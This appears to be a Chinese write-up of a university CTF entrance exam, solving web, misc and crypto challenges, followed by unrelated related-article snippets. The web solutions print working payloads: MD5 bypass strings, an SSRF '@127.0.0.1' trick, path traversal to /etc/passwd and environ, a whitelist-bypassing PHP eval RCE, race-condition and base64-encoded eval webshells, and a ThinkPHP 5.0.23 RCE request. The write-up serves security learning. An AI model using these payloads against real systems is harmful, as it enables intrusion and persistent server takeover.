2024秋季云曦开学考
web
ezezssrf
打开环境,代码审计
看起来有点多,要绕过五层
第一层:存在==弱比较,使用数组或0e绕过
yunxi[]=1&wlgf[]=2
yunxi=s878926199a&wlgf=s155964671a
第二层:存在===强比较,此处使用string限制参数为字符串型,不能使用数组绕过。可使用两个MD5值完全相同的字符绕过
yunxii=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&
wlgff=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
第三层:变量$GLG开头包含字符串 http://blog.csdn.net
if (strpos($GLG, 'http://blog.csdn.net') !== 0)
strpos 函数用于查找字符串 'http://blog.csdn.net' 在变量 $GLG 中的位置。
如果该字符串不在 $ GLG 的开头(即位置为0),则执行 die 函数终止脚本执行,并输出提示信息。
第四层:同样的使用了strpos 函数查找包含在$GLG中的变量$csdn里的中文“师姐,... ...”,可使用HTTP 基本身份认证绕过
GLG=http://blog.csdn.net@127.0.0.1
第五层:shell_exec()
函数使页面无回显,使用>或tee命令将想要进行的命令执行存入1.txt文件,之后再访问1.txt文件即可。
cmd=cat /flag | tee 1.txt
最终payload:
yunxi=s878926199a&wlgf=s155964671a&yunxii=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&wlgff=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&GLG=http://blog.csdn.net@127.0.0.1&cmd=cat /flag | tee 1.txt
知识点:
md5弱比较(==),强比较(===)
md5强比较&弱比较-CSDN博客
弱比较:只比较值,不比较类型
强比较:比较值,也比较类型
- a==b 将a,b的值转换成同类型再比较值
- a===b 先判断a,b类型,若相同,则比较值,若不相同,则返回false
弱比较(==)绕过:
1.数组绕过:md5不能加密数组 ,如 a[]=1 , b[]=1 , 传入数组会报错,但会继续执行并且返回结果为null。
2.0e绕过:以0e开头的数会被认为是科学计数法,0e+任何数 在科学计数法中都是0,故两数相等。
0e开头的md5和原值: QNKCDZO:0e830400451993494058024219903391 240610708:0e462097431906509019562988736854 s878926199a:0e545993274517709034328855841020 s155964671a:0e342768416822451524974117254469
强比较(===)绕过:
1.数组绕过
2.md5值完全相同的字符绕过
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
万能通式ffifdyop 绕过:
or 对应的16进制:276f7227
ffifdyop字符串,MD5加密后会变成276f7227 36c95d99e921722cf9ed621c
字符串前几位刚好是 ‘ or ‘6
select * from 'admin' where password=md5($pass,true) 输入md5('ffifdyop',true)绕过
HTTP 基本身份认证绕过SSRF:
CTFHUB技能树——SSRF绕过
HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。
即 http://www.xxx.com@www.yyy.com形式
shell_exec()函数:
shell_exec()函数会让页面无回显
linux中 “tee” 是从标准输入读取,再写入标准输出和文件
在PHP中 ">" 是表示把什么写入什么文件的意思。
无回显,那就把它写进一个文件,然后访问这个文件即可
?cmd=ls /|tee 1.txt
?cmd= c''at \f*** |tee 1.txt(写进1.txt文件里)
windows系统命令拼接方式|:直接执行后面的语句。 ||:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假。 &:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。 &&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
小小py
此题要买flag,但是钱不够
直接购买提示金额不足:
发现右下角提示 *click to download our sweet images* 点击图片能够下载,使用bp抓包 发现图片的下载路径。
/download?image=2.jpg
下载地址可能存在任意文件下载漏洞:
尝试利用路径查看文件,发现不能直接回显。于是用目录穿越查看一下 /etc/passwd 回显成功
/download?image=../../etc/passwd// etc/passwd 文件包含了系统上所有用户的信息
尝试访问Python环境变量:得到flag
/download?image=../../proc/self/environ// proc/self 其路径指向当前进程
// environ 记录当前进程的环境变量信息
学习高数
打开环境就问你喜不喜欢高数~
提示说有1万个页面
使用bp抓包爆一下页面,设置数字从1到10000,找到index8887.html的特殊界面
cvFXZohgjf看起来像一个文件,尝试访问 cvFXZohgjf.php,代码审计 需绕过三层
$content = $_GET['GS']; //将$_GET['GS']的值赋给$ contentif (strlen($content) >= 60) {die("不是哥们"); } //检查$content的长度是否小于60,如果大于等于60,程序终止并显示"不是哥们"。
// 定义一个黑名单数组$blacklist $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; //遍历$blacklist //使用正则表达式检查$content中是否包含黑名单中的字符,如果包含,程序终止并显示"新号别搞"。foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("新号别搞");}}
// 定义一个白名单数组$whitelist,包含了允许在$content中使用的数学函数名称 $whitelist = ['abs', 'acos', 'acosh', 'asin',... ...];
// 使用正则表达式从$content中提取所有函数名称,存储在$used_funcs数组中。 preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
// 使用正则表达式从$content中提取所有函数名称,存储在$used_funcs数组中。 // 遍历$used_funcs,检查其中的函数名是否都在$whitelist中,如果不在,程序终止并显示"虾啊"。 foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("虾啊");}}
eval('echo '.$content.';'); //使用eval函数,将$content中的内容安全地执行并输出
二次传参RCE
第一层:有长度小于60限制,可使用二次传参RCE的方式绕过
?GS=eval($_GET[1]);&1=system('ls');
第二层:但是过滤了很多字符,[ ] 可用{ } 绕过
?GS=$_GET{};$_GET{0}($_GET{1})&0=system&1=ls//?GS=$_GET{}; 定义一个变量GS,其值为一个空数组
//$_GET{0}($ _GET{1}) 尝试调用$_GET数组中的第一个元素作为函数,并将第二个元素作为参数传递给它
//&0=system 和 &1=ls URL参数,分别被设计为0和1索引的值(命令执行)
异或构造所需字符
第三层:还要检测函数名是否都在$whitelist中
没有禁用 ^ 符号,于是可以通过异或构造想要的$whitelist中的字母
// 使用脚本利用白名单里的函数生成可用字符
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){for($i = 0;$i < 9; $i++){for($j = 0;$j <=9;$j++){$exp = $payload[$k] ^ $i.$j;echo($payload[$k]."^$i$j"."==>$exp");echo "\n";}}
}
将得到的结果保存到记事本中,搜索需要构造的字符
对应字符 异或结果
_G is_nan^(6).(4)
ET tan^(1).(5)$GS=_GET ————> $GS=(is_nan^(6).(4)).(tan^(1).(5))
直接将上面的3个 _GET 改为 is_nan^(6).(4)).(tan^(1).(5) ,发现太长了~
可以将 _GET 赋值给参数$pi,就只用改1个_GET
(正常来说可随意使用题中所给数学函数作为参数,但是这里限制60的字符长度,有三个字母的函数用了还是会超出)
最终payload:
?GS=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag//$pi=$$pi; 这里使用了变量变量(variable variable),将$pi的值(即_GET)作为变量名,然后将_GET数组赋值给$pi。
得到flag(此处环境有点小问题,但是最终结果如下)
你能跟上我的speed吗
随便传一个文件,都是返回一张图片,根据题目的speed可以猜测为文件上传的条件竞争。
于是上传一句话木马文件,使用bp抓包爆破
<?php $op=fopen("shell.php","a+");fwrite($op,'<?php @eval($_POST[111]);?>');fclose($op);echo(111) ?>
抓包上传文件的请求
抓包访问上传文件的路径(题目提示路径为./uploads)
不需要设置参数,payload type都设为null payloads,payload setting选择Continue indefinitely(无限循环抓包)
两边同时爆破,将文件上传路径页面回显111的页面发送到repeater,改1.php为shell.php,能访问成功
连接蚁剑得到flag
文件上传之条件竞争
文件上传之条件竞争
什么是条件竞争?
在上传文件源代码里面有校验上传的文件,文件直接上传,上传成功后才进行判断;
如果文件格式符合的情况下,则重命名,如果文件格式不符合要求,就将文件删除。
由于服务器并发处(同时)理多个请求,假如a用户上传了一个文件,b用户访问a用户的文件就会出现以下三种情况:
1.访问时间点在上传文件之前,没有此文件
2.访问时间在上传文件之后,且服务器还未将其删除,文件存在
3.访问时间点在服务器删除文件之后,文件不存在注意:
使用bp
payload type 选择 null payloads
Payload options 选择 Continue indefinitely(无限循环抓包)一句话木马:
<?php $op=fopen("shell.php","a+");fwrite($op,'<?php @eval($_POST[111]);?>');fclose($op);echo(333) ?> //fopen(...)打开(或创建)名为'shell.php'的文件,并以写入模式(fwrite)进行操作。 //fputs(...):此函数将数据写入由fopen打开的文件。数据是作为字符串提供的。 //<?php eval($_POST[111]); ?>简单的php一句话木马,写入shell.php文件中。 //fclose($op)关闭文件。 //输出数字111,作为一种执行成功的标记。
真正的hacker!(flag1)(flag2)
打开环境是一个ThinkPHP页面
使用ThinkphpGUI工具扫描,发现存在5.0.23版本的rce漏洞
根据扫描出的payload读取flag1
GET传参:?s=captcha&test=-1
POST传参:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag1
访问后给了一个提示“命令执行只能得到flag1,真正的渗透大师热衷于getshell”,说明flag2需要getshell才能得到。
选择漏洞版本后并不能直接getshell
可以进行命令执行
whoami:操作系统中用于查看当前有效用户名的命令
pwd 查看当前路径
ls 查看上传路径
故可利用一句话木马进行命令执行,将一句话木马文件1.php上传到/var/www/public/uploads/路径下
echo '<?php eval($_POST[cmd]); ?>' > var/www/public/uploads/1.php
// 此处上传该木马,蚁剑连接不成功,应该有过滤
// 木马写入错了用rm uploads/1.php 删除文件后重新写入
echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" |base64 -d > /var/www/public/uploads/1.php
// 使用base64编码木马后再上传
// base64 -d 是一个命令行指令,用于对Base64编码的数据进行解码
使用蚁剑连接成功,得到flag2
Misc
misc大杂烩
解压后打开PPT,提示有6部分flag,考点简单,但是脑洞太大,所以也说没有思路就不用硬耗时间
考点一:盲水印
保存第二页的图片,使用工具分析吾爱破解WaterMark下载,得到flag1{hdy12-
考点二:word隐藏文字
打开是一个word文档
选中全文,点击字体,打开“字体”对话框。在“字体”对话框中,将“效果”栏下的【隐藏】取消勾选,然后点击确定,这样文档中隐藏的文字就全部取消隐藏状态并显示出来了。
得到flag2{1yhgzc5-
考点三:base64转图片
解压后使用010editor打开,发现base64编码转为图片,得到一个二维码
Base64转换图片工具
在线二维码解码器 ,解码得到 flag3{Ypt0a2-
考点四: Deepsound音频隐写
在音频文件里面,写入了其它的文件,比如flag.txt,也可以是图片等等,此时可以用deepsound进行解密。
将考点4.wav文件放入Deepsound解密,提取1.txt文件得到 flag4{ghj8-
考点五:zip掩码爆破,埃特巴什码解密
有一个压缩包,解压时发现想要密码
根据提示可推测密码形式为 197.157.xx.xx 或 197.157.xxx.xxx
使用掩码爆破,得到解压密码197.157.76.98
解压成功后得到 uozt5{7ftzp-,再进行埃特巴什码解密得 flag5{7ugak-
Zip密码爆破
爆破:逐个尝试所有密码,直到遇到正确密码
字典:字典攻击的效率比爆破稍高,因为字典中存储了常用的密码,因此就避免了爆破时把时间浪费在无用的密码上。
掩码攻击:如果已知密码的某几位,如已知8位密码的第4位是Z,那么可以构造XXXZXXXX进行掩码攻击,掩码攻击的原理相当于构造了第4位为Z的字典,攻击效率也比逐个尝试的爆破方式高。
考点六: 文件16进制颠倒
使用010editor打开附件,可看见一个明显的PK头,但是被倒置了
使用python脚本给它倒回来,使用010打开就正常了
with open('原文件路径','rb') as f: #倒置前with open('修改后文件路径','wb') as g: #倒置后g.write(f.read()[::-1])
修改后缀为.zip,解压后得到图片及 flag6: 78uiag}
最终flag: Yunxi{hdy12-1yhgzc5-Ypt0a2-ghj8-7ugak-78uiag}
MISC1
下载附件后使用wireshark打开,发现有一短两长的规律
不改变当前顺序,发现短的最后一个字符拼接起来刚好是flag
flag{7823yed-3892hu-7euiwb-euwidbh82-7ueidw}
MISC2
解压得到一张损坏的图片
使用010editor分析,发现被倒转了 此处与上面不同,是4位倒置
使用脚本修复图片,得到一张图片
def restore_file(input_file, output_file):# 读取文件内容with open(input_file, 'rb') as f:data = f.read()restored_data = bytearray()# 每4个字节为一组for i in range(0, len(data), 4):# 取出4个字节并倒转顺序restored_data.extend(data[i:i+4][::-1])# 将恢复后的数据写入输出文件with open(output_file, 'wb') as f:f.write(restored_data)# 输入和输出文件路径
input_file = r'E:\yunlabs\4-digit.png'
output_file = r'E:\yunlabs\4-digit1.png'# 调用函数进行文件恢复
restore_file(input_file, output_file)
... ...
后面再看
mics-Make Png Great Again——CVE-2023-28303(截图修复)_windows10教育版激活密钥-CSDN博客
Crypto
mmmd5
下载附件后发现有很多MD5值
最直接的方法,使用在线网站一个一个解得flag
MD5免费在线解密破解_MD5在线加密-SOMD5
相关文章:

2024秋季云曦开学考
web ezezssrf 打开环境,代码审计 看起来有点多,要绕过五层 第一层:存在弱比较,使用数组或0e绕过 yunxi[]1&wlgf[]2 yunxis878926199a&wlgfs155964671a 第二层:存在强比较,此处使用string限制…...

基于STM32与Qt的自动平衡机器人:从控制到人机交互的的详细设计流程
一、项目概述 目标和用途 本项目旨在开发一款基于 STM32 控制的自动平衡机器人,结合步进电机和陀螺仪传感器,实现对平衡机器人的精确控制。该机器人可以用于教育、科研、娱乐等多个领域,帮助用户了解自动控制、机器人运动学等相关知识。 技…...

C#使用ZipFile的方法CreateFromDirectory
由于现在数据越来越大,虽然磁盘的大小也在增加,但是数据增加的速度是远超过磁盘的增加速度。 因为数据是一种思想的表现,特别是ChatGPT的AI出现,导致很多数据无限地使用机器化地产生,所以数据压缩还是很常有的事情,毕竟压缩之后可以减少磁盘空间的占用。 在C#里有一个专…...

Redis 哨兵模式的选举算法是什么?
Redis 哨兵模式中的选举算法主要用于在主节点出现故障时,从多个 Sentinel 节点中选出一个领导者(Leader)来执行故障转移操作。 Redis 哨兵的选举算法基于 Raft 算法的简化版本,但不完全等同于标准的 Raft 算法。以下是其主要过程: 一、发现主节点故障 当一个 Sentinel …...

Linux shell编程学习笔记80:gzip命令——让文件瘦身
0 引言 在 Linux shell编程学习笔记76:tar命令——快照 & 备份(上)-CSDN博客 Linux shell编程学习笔记77:tar命令——快照 & 备份(下)_linux 系统快照-CSDN博客 Linux shell编程学习笔记78&am…...

【字幕】恋上数据结构与算法之01为什么要学习数据结构与算法
视频地址:请查看01为什么要学习数据结构与算法_哔哩哔哩_bilibili 同志们好,我是小码哥的mj李明杰。非常欢迎大家来学习链上数据结构与算法,从今天开始呢就由我来带大家一起来学习和掌握这个数据结构与算法啊。在正式学习之前我们先来看一下…...

120页ppt丨集团公司战略规划内容、方法、步骤及战略规划案例研究
响应会员需求,晓零分享一份经典资料《120页ppt集团公司战略规划内容、方法、步骤及战略规划案例研究》,欢迎进入星球下载学习。 以下是对企业战略规划三个阶段八个步骤的详细解析: 一、阶段一:内外分析 项目启动和前期准备&…...

滚雪球学SpringCloud[2.3]:服务发现与负载均衡详解
全文目录: 前言1. Ribbon的使用与配置1.1 Ribbon 概述Ribbon 的核心功能: 1.2 Ribbon 的基本使用1.2.1 引入 Ribbon 依赖1.2.2 配置 RestTemplate 与 Ribbon1.2.3 示例:通过 Ribbon 调用服务 1.3 Ribbon 的配置选项 2. Ribbon的负载均衡策略2…...

商务英语口语之聚会宴饮常用口语柯桥培训到蓝天广场
吃饭一定要掌握的英语口语 邀请他人共进餐: Would you like to join me for dinner? 你愿意和我一起吃饭吗? Lets grab a bite to eat together. 我们一起去吃点东西吧。 How about having lunch with me? 和我一起吃午饭怎么样? 询问…...

【C#】VS插件
翻译 目前推荐较多的 可以单词发言,目前还在开发阶段 TranslateIntoChinese - Visual Studio Marketplace 下载量最高的(推荐) Visual-Studio-Translator - Visual Studio Marketplace 支持翻译的版本较多,在 Visual Studio 代码编辑器中通过 Googl…...

嵌入式C语言自我修养:C语言的面向对象编程思想
⭐关联知识点:C和C的区别 代码复用与分层思想 什么是代码复用呢? (1)函数级代码复用:定义一个函数实现某个功能,所有的程序都可以调用这个函数,不用自己再单独实现一遍,函数级的代…...

行车记录仪格式化了怎么恢复?专业恢复方法分享
行车记录仪作为现代驾驶的必备设备,它忠实记录着行车过程中的点点滴滴,是保障行车安全、处理交通事故的重要依据。然而,有时由于操作失误或其他原因,我们可能会不小心将行车记录仪进行格式化,导致宝贵的录像数据丢失。…...

C++中extern ”c“的理解
c中extern “C“的作用及理解_extern "c-CSDN博客...

红黑树的删除
文章目录 前言一.删除的节点左子树右子树都有二.删除的节点只有左/右子树删除调整操作 三.删除的节点没有孩子1.删除的节点为红色2.删除的节点为黑色1).兄弟节点为黑色(1).兄弟节点至少有一个红色的孩子节点LL型RR型RL型LR型 (2).兄弟节点没有孩子或所有孩子为黑色 2).兄弟节点…...

Vue3+setup实现父子组件单表增删改查写法模板
父组件写法 <el-card><!-- el-card 头部插槽 显示列表名和新增按钮 --><template #header><div class"table-header-container"><i class"fas fa-th" />角色列表(100)<span style"flex-grow…...

jmeter 录制APP脚本
一、手机 1、修改网络 代理选择手动→填写服务器主机名(电脑IP,如:192.1xx.x.xx)→服务器端口(任意未被占用端口,如:8888) 2、安装证书 手机浏览器访问服务器主机名:服务器端口&a…...

C++类与对象深度解析(一):从抽象到实践的全面入门指南
文章目录 C 类与对象——详细入门指南前言1. 类的定义1.1 类定义的基本格式示例代码解释 1.2 访问限定符示例代码解释 1.3 类域示例代码解释 1.4 成员命名规范常见的命名约定:示例:拓展: 1.5 class与struct的默认访问权限示例: 2.…...

docker拉取 jdk 8
docker pull openjdk:8docker run -d -it --name java-8 openjdk:8docker run -d -it --name java-8 openjdk:8 –name java-8 容器名,自定义的 openjdk:8 镜像名:标签名 , 使用 docker images 查看 2、查看已运行的容器实例: doc…...

机器学习VS深度学习
机器学习(Machine Learning, ML)和深度学习(Deep Learning, DL)是人工智能(AI)的两个子领域,它们有许多相似之处,但在技术实现和应用范围上也有显著区别。下面从几个方面对两者进行区…...

基于vue框架的宠物交流平台1n2n3(程序+源码+数据库+调试部署+开发环境)系统界面在最后面。
系统程序文件列表 项目功能:会员,宠物信息,宠物类型,团队信息,申请领养,团队申请,领养宠物 开题报告内容 基于Vue框架的宠物交流平台开题报告 一、项目背景 随着现代生活节奏的加快与人们情感需求的日益增长,宠物已成为众多家庭不可或缺的重要成员。…...

Rust 所有权 借用与引用
文章目录 发现宝藏1. 所有权(Ownership)2. 引用(References)2.1 不可变引用2.2 可变引用2.3 引用的规则 3. 悬垂引用(Dangling References)4. 借用(Borrowing)结论 发现宝藏 前些天…...

构建智能电商新生态:深度解析京东商品详情API的力量
在当今数字化浪潮中,智能电商系统已成为推动零售业转型升级的重要引擎。作为电商行业的领军者之一,京东凭借其庞大的商品数据库和先进的技术架构,为开发者与商家提供了丰富的API接口,其中商品详情API无疑是构建智能电商系统的关键…...

Golang | Leetcode Golang题解之第398题随机数索引
题目: 题解: type Solution []intfunc Constructor(nums []int) Solution {return nums }func (nums Solution) Pick(target int) (ans int) {cnt : 0for i, num : range nums {if num target {cnt // 第 cnt 次遇到 targetif rand.Intn(cnt) 0 {ans …...

使用注意力机制可以让你的模型更加灵活,但是需要额外的计算资源。rnn lstm bilstm attension
确实,使用注意力机制可以使模型更加灵活,但也确实需要额外的计算资源。注意力机制允许模型在处理序列数据时,能够动态地关注不同位置的重要性,从而更好地捕捉长依赖关系。下面是一个简单的注意力机制实现示例,可以帮助…...

git命令大全
简介:个人学习分享,如有错误,欢迎批评指正 一、Git操作流程 1、代码提交和同步代码 第零步: 工作区与仓库保持一致第一步: 文件增删改,变为已修改状态第二步: git add ,变为已暂存状态 $ git status $ git add --al…...

【数据仓库】数据仓库常见的数据模型——范式模型
目录 一、范式 1、第一范式 2、第二范式 3、第三范式 4、进一步范式化:BCNF、4NF 和 5NF 简介 (1)Boyce-Codd 范式(BCNF) (2)第四范式(4NF) (5&#x…...

【LeetCode每日一题】——LCR 078.合并 K 个升序链表
文章目录 一【题目类别】二【题目难度】三【题目编号】四【题目描述】五【题目注意】六【题目示例】七【题目提示】八【解题思路】九【时间频度】十【代码实现】十一【提交结果】 一【题目类别】 优先队列 二【题目难度】 困难 三【题目编号】 LCR 078.合并 K 个升序链表 …...

代码随想录算法训练营第五十九天 | dijkstra(堆优化版)精讲
目录 dijkstra(堆优化版)精讲 思路 堆优化细节 方法一: 最小堆优化 dijkstra(堆优化版)精讲 题目链接:卡码网:47. 参加科学大会 文章讲解:代码随想录 小明是一位科学家&#x…...

go语言后端开发学习(七)——如何在gin框架中集成限流中间件
一.什么是限流 限流又称为流量控制(流控),通常是指限制到达系统的并发请求数。 我们生活中也会经常遇到限流的场景,比如:某景区限制每日进入景区的游客数量为8万人;沙河地铁站早高峰通过站外排队逐一放行的…...

SpringBoot2:web开发常用功能实现及原理解析-整合EasyExcel实现Excel导入导出功能
1、工程包结构 主要是这5个Java类 2、导入EasyExcel包 这里同时贴出其他相关springboot的基础包 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><depend…...